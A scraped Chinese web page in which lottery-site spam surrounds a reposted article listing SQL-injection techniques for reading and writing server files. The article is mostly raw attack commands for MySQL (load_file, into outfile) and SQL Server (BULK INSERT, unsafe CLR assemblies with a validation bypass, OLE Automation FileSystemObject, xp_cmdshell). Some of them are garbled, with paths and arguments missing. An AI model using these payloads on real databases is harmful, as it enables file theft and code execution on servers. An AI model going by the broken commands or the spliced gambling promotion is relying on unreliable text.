本港台最快开奖结果_本港台118kj开奖现场_明日大富翁开奖结果

[2019]本港台最快开奖结果是给大家带来了一个可以免费下载正版的机会,1本港台118kj开奖现场为玩家提供免费好玩的iPad游戏下载,点击明日大富翁开奖结果了解更多优惠信息,因为只有在注册之后下载下来的平台才是官方指定的。

关于SQL注入中文件读写的方法总结_数据库其它

来源:http://www.alloutofdebt.com 作者:计算机论坛 人气:61 发布时间:2019-12-22
摘要:前言 SQL注入有直接sql注入也有文件读写时的注入了我们这篇文章介绍的是SQL注入中的文件读写这一块的内容,具体的一起来看看。 一、MySQL 读文件 常见的读文件,可以用16进制代替字

前言

SQL注入有直接sql注入也有文件读写时的注入了我们这篇文章介绍的是SQL注入中的文件读写这一块的内容,具体的一起来看看。

一、MySQL

读文件

常见的读文件,可以用16进制代替字符串

select load_fileselect load_file(0x633a2f626f6f742e696e69)select load_file # smb协议select load_file # 可用于DNS隧道

写文件

我暂时已知l两种写文件的方式

select 0x313233 into outfile 'D:/1.txt'

select 0x313233 into dumpfile 'D:/1.txt'

二、 SQL Server

读文件

1. BULK INSERT

create table result;bulk insert result from 'd:/1.txt';

2. CLR集成

// 开启CLR集成exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'clr enabled',1reconfigure

create assembly sqb from 'd:1.exe' with permission_set=unsafe

上面一句可以利用create assembly函数从远程服务器加载任何.NET二进制文件到数据库中;但是他会验证是否为合法.NET程序,导致失败,下面是读取方式

select master.dbo.fn_varbintohexstr(cast) from sys.assembly_files

绕过,首先加载一个有效的.NET的二进制文件,然后追加文件即可,下面是绕过方法。

create assembly sqb from 'd:net.exe';alter assembly sqb add file from 'd:1.txt'alter assembly sqb add file from 'd:notnet.exe'

3. Script.FileSystemObject

# 开启Ole Automation Procedures sp_configure 'show advanced options',1;RECONFIGURE;sp_configure 'Ole Automation Procedures',1;RECONFIGURE;

declare @o int, @f int, @t int, @ret intdeclare @line varcharexec sp_oacreate 'scripting.filesystemobject',@o outexec sp_oamethod @o, 'opentextfile', @f out, 'd:1.txt', 1exec @ret = sp_onmethod @f, 'readline', @line outwhile begin print @line exec @ret = sp_oamethod @f, 'readline', @line out end

写文件

1. Script.FileSystemObject

declare @o int, @f int, @t int, @ret intdeclare @line varcharexec sp_oacreate 'scripting.filesystemobject',@o outexec sp_oamethod @o, 'createtextfile', @f out, 'e:1.txt', 1exec @ret = sp_oamethod @f, 'writeline', NULL ,'This is the test string'

2. BCP复制文件

c:windows>system32>bcp "select name from sysobjects" query testout.txt -c -s 127.0.0.1 -U sa -p"sa"

3. xp_cmdshell

exec xp_cmdshell 'echo test>d:1.txt'

三、Oracle

pass,Oracle太坑了~~~几乎都受到PL/SQL的限制,暂时不讨论

总结

以上就是关于SQL注入中文件的读写方法总结,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流。

本文由本港台最快开奖结果发布于计算机论坛,转载请注明出处:关于SQL注入中文件读写的方法总结_数据库其它

关键词:

最火资讯